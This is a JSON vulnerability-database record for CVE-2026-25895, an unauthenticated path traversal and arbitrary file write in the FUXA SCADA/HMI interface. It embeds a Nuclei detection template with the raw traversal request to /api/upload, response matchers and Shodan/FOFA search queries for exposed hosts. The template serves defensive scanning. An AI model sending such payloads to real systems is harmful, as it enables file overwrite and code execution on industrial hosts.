{
  "_links": {
    "capec": {
      "href": "/api/v1/vulnerability/cve-2026-25895/capec"
    },
    "cvss": {
      "href": "/api/v1/vulnerability/cve-2026-25895/cvss"
    },
    "cwe": {
      "href": "/api/v1/vulnerability/cve-2026-25895/cwe"
    },
    "enrichment": {
      "href": "/api/v1/vulnerability/cve-2026-25895/enrichment"
    },
    "gcve": {
      "href": "/api/v1/vulnerability/cve-2026-25895/gcve"
    },
    "self": {
      "href": "/api/v1/vulnerability/cve-2026-25895/enrichment"
    },
    "sightings": {
      "href": "/api/v1/sightings/cve-2026-25895"
    },
    "vulnerability": {
      "href": "/api/v1/vulnerability/cve-2026-25895"
    }
  },
  "enrichments": {
    "nuclei": {
      "nuclei": true,
      "nuclei_template": "http/cves/2026/CVE-2026-25895.yaml",
      "nuclei_template_severity": "critical",
      "nuclei_template_yaml": "id: CVE-2026-25895\n\ninfo:\n  name: FUXA <= 1.2.9 - Unauthenticated Path Traversal to Arbitrary File Write\n  author: prithvee07\n  severity: critical\n  description: |\n    FUXA, an open-source Node.js SCADA/HMI web interface, through version 1.2.9 exposes an unauthenticated POST /api/upload endpoint that resolves the attacker-controlled `destination` field from the JSON request body against the application directory with only a leading underscore prefix and no containment check. Because path.resolve() honours \"../\" segments, an unauthenticated attacker can escape the application directory and write arbitrary files anywhere on the filesystem reachable by the service account - for example into the public web root (a/../../client/dist), into cron directories, or over SSH authorized_keys - leading to remote code execution. Version 1.2.10 rejects any destination containing a traversal segment and additionally requires an authenticated administrator.\n  impact: |\n    Unauthenticated attackers can write arbitrary files anywhere on the filesystem reachable by the service account, including the public web root, cron directories, and SSH authorized_keys, leading to full remote code execution on the host running FUXA.\n  remediation: |\n    Upgrade FUXA to version 1.2.10 or later, which validates and contains the `destination` parameter to the intended application directory and requires administrator authentication on /api/upload.\n  reference:\n    - https://github.com/frangoteam/FUXA/security/advisories/GHSA-88qh-cphv-996c\n    - https://github.com/frangoteam/FUXA/commit/22c2192f5d9beef8a787c45eff3a14c24dbb5f96\n    - https://github.com/frangoteam/FUXA/releases/tag/v1.2.10\n    - https://github.com/Hann1bl3L3ct3r/FUXAPWN\n    - https://nvd.nist.gov/vuln/detail/CVE-2026-25895\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\n    cvss-score: 9.8\n    cve-id: CVE-2026-25895\n    epss-score: 0.1285\n    epss-percentile: 0.96311\n    cwe-id: CWE-22\n  metadata:\n    verified: true\n    max-request: 1\n    vendor: frangoteam\n    product: fuxa\n    shodan-query: http.title:\"FUXA\"\n    fofa-query: title=\"FUXA\"\n  tags: cve,cve2026,fuxa,scada,path-traversal,file-upload,rce,unauth,vkev\n\nvariables:\n  filename: \"{{rand_base(10,'abcdefghijklmnopqrstuvwxyz')}}\"\n\nhttp:\n  - raw:\n      - |\n        POST /api/upload HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/json\n\n        {\"resource\":{\"name\":\"{{filename}}.txt\",\"fullPath\":\"{{filename}}.txt\",\"type\":\"bin\",\"data\":\"{{base64(filename)}}\"},\"destination\":\"a/../../server/main.js\"}\n\n    matchers-condition: and\n    matchers:\n      - type: dsl\n        dsl:\n          - 'status_code == 400'\n          - 'contains(body, \"ENOTDIR\")'\n          - 'contains(body, concat(\"main.js\", \"/\", \"{{filename}}.txt\"))'\n        condition: and\n\n      - type: word\n        part: body\n        words:\n          - \"invalid_destination\"\n        negative: true\n\n    extractors:\n      - type: regex\n        part: body\n        group: 1\n        regex:\n          - \"open '(.*?)'\"\n# digest: 4a0a0047304502206a487bdf311071a26979b46659b9ed5cadd053c3420b456aed34336484ce2c40022100ce75a167cdde2170b2634f8af8fa8ae5703744270224c65535088f057eb81689:922c64590222798bb761d5b6d8e72950"
    }
  },
  "vuln_id": "cve-2026-25895"
}